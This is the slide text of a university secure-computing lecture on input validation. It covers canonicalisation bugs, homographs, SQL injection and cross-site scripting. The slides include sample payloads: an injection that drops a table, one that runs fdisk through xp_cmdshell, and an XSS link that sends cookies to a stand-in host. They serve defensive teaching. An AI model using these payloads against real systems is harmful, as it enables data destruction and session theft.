Implementation Flaws

1. Implementation Flaws Part 2: Malicious Input andData Validation Issues

2. Outline • Some background • Handling malicious input • System architecture • How to check data validity • Examples of validation problems SY32 Secure Computing, Lecture 14

3. Background • Two fundamental rules: • All input is evil until proven otherwise • Data must be validated as it crosses boundary between untrusted & trusted environments • Developers are not good at input validation! • Tedium of coding • Fear of performance hit SY32 Secure Computing, Lecture 14

4. Misplaced Trust • Why do buffer overruns succeed? • Data come from an untrusted source (attacker) • Too much trust is placed in data format; we assume that input won’t exceed buffer capacity • Data are written into memory • Remove any of these conditions and danger of an overrun is eliminated SY32 Secure Computing, Lecture 14

5. Handling Malicious Input • Define a trust boundary around the application • Inside boundary, we can trust data—assuming that validation is done correctly • Create as few input chokepoints as possible • All input must pass through a designated chokepoint • Chokepoints must be implemented carefully to perform thorough validation of input data SY32 Secure Computing, Lecture 14

6. Trust Boundary and Chokepoints Environment variables Trust boundary Internet Service DB Implicit trust Chokepoint Config data SY32 Secure Computing, Lecture 14

7. Ways of Checking Data Validity • ‘Blacklisting’ • Specify the various forms that invalid data can take; anything that matches is rejected • Bad idea; you might miss an invalid data pattern! • ‘Whitelisting’ • Allow input that conforms to ‘valid’ pattern • Reject everything else SY32 Secure Computing, Lecture 14

8. Examples of Validation Problems • URI obfuscation in Mozilla • Canonicalisation issues • Case sensitivity • “Dot-free IP address” bug • Homograph attacks • Attacking databases via SQL injection • Cross-site scripting (XSS) SY32 Secure Computing, Lecture 14

9. URI Obfuscation in Mozilla • user@location URI can be formatted with a null byte between user part and @ symbol • Mozilla status bar displays only user part when cursor hovers over link • See http://www.securityfocus.com/bid/9203/ SY32 Secure Computing, Lecture 14

10. Canonicalisation Issues • Canonical = “In its simplest or standard form” • Canonicalisation = process of converting the various equivalent forms of a name into a single, standard name • Applications often make wrong decisions based on non-canonical representation of a name… SY32 Secure Computing, Lecture 14

11. Example: Case Sensitivity • Version of Apache web server shipping with first release of Mac OS X was case-sensitive • Hierarchical File System of Mac OS X is not • Apache configuration might deny access to /private directory of www.foo.org... • … but http://www.foo.org/PRIVATE/index.html would work! SY32 Secure Computing, Lecture 14

12. Example: ‘Dot-free’ IP Addresses • Bug in Internet Explorer, version 4 • Website domain names containing >= 1 dot were assumed to be in Internet zone • Website domain names with no dots were assumed to be in the more trusted Local Intranet zone • Problem: IP address can be represented as a dot-free, 32-bit integer • http://3232286052 = http://192.168.197.100 SY32 Secure Computing, Lecture 14

13. Example: Homographs • Obvious: micr0s0ft.com != microsoft.com • Subtle: MICR0S0FT.COM != MICROSOFT.COM • Very subtle: miсrоsоft.com != microsoft.com • For further details, see Comm. ACM 45(2), page 128, or visit http://www.cs.technion.ac.il/~gabr/papers/homograph.html SY32 Secure Computing, Lecture 14

14. SQL Injection • Contents of name come from a web form… • …but no validation is done to ensure that name actually contains employee’s name! String query ="SELECT * FROM employees WHERE name='" + name + "'";ResultSet res = stmt.executeQuery(query); SY32 Secure Computing, Lecture 14

15. Demo SY32 Secure Computing, Lecture 14

16. SQL Injection • Really bad guy might do this: • Downright evil guy might do this (on Windows): SELECT * FROM employees WHERE name='Alan Smith' DROP TABLE budgets --' SELECT * FROM employees WHERE name='Alan Smith' exec xp_cmdshell('fdisk.exe') --' SY32 Secure Computing, Lecture 14

17. Remedies for SQL Injection • Never connect with administrator privileges • Violates principle of least privilege • Attacker can gain complete control of machine • Build SQL queries securely • Substitute values into prepared statements SY32 Secure Computing, Lecture 14

18. Cross-Site Scripting (XSS) • Can be viewed as an output validation problem • Web server is tricked into presenting malicious content, typically Javascript, to browser • Examples of XSS attacks: • Session hijacking • Modification of web page contents • Theft of passwords SY32 Secure Computing, Lecture 14

19. <a href=http://www.insecuresite.com/welcome.asp?name=<FORM action=http://www.badsite.com/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> > Click here to win £10,000! </a> What Happens When You Click? Cookie for this domain… …is sent here! SY32 Secure Computing, Lecture 14

20. Summary • Remember the fundamental rules: • All input is evil… • …therefore all input data must be validated before passing within the trust boundary • Match to the valid pattern, rejecting anything that isn’t a perfect match • Be aware of canonicalisation issues • Watch out for code injection (SQL, XSS, etc) SY32 Secure Computing, Lecture 14